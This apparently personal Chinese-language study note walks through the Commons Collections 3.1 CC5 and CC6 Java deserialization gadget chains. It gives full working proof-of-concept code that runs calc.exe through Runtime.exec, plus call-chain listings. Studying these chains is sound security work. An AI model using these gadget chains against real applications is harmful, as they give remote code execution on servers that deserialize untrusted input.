java8u65

Commons Collections 3.1

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

前置知识

TiedMapEntry

image-20230817155105438

先看其的构造函数

image-20230817155305400

这个类的构造方法需要两个参数。再看一下getValue

image-20230817155729314

getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。

再来看看tostring

image-20230817160057366

tostring方法里面就会去调用到getValue方法

调用分析

我们可以用BadAttributeValueExpException的readobject方法

image-20230817161915319

我们可以给val赋值为TiedMapEntry,这样就会调用TiedMapEntrytostring方法

后面就是像前面所说那样调用getValue方法,然后是lazymapget,基本和cc1一样

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
            inputStream.readObject();
        }catch(Exception e) {
            e.printStackTrace();
        }
    }
}

调用链

ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

CC6

cc5+urldns

环境搭建

java8

commons-collections 3.1

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

调用分析

解决过程中弹出计算器问题:

Java反序列化CC6链 —— 逐步EXP编写 - FreeBuf网络安全行业门户

和cc5不太一样的就是入口这里,看到HashSetreadobject

image-20230817164510440

然后调用了map.put

image-20230817165103539

然后调用了hash方法

image-20230817165144383

然后是hashcode

image-20230817165230234

这里key传入可以为TiedMapEntry,那么跟进hashcode

image-20230817165643113

可以看到这里用了getvalue方法,就是和cc5后面的一样

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc.exe",}),
                new ConstantTransformer(1)};
        //防止payload生成过程中触发,先放进去一个空的Transform
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet expMap = new HashSet();
        expMap.add(entry);


        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        // 本地测试触发
//        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

调用链

	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

总结

大部分分析都是和网上差不多,这里感觉还是有点乱,以后再完善一下。。。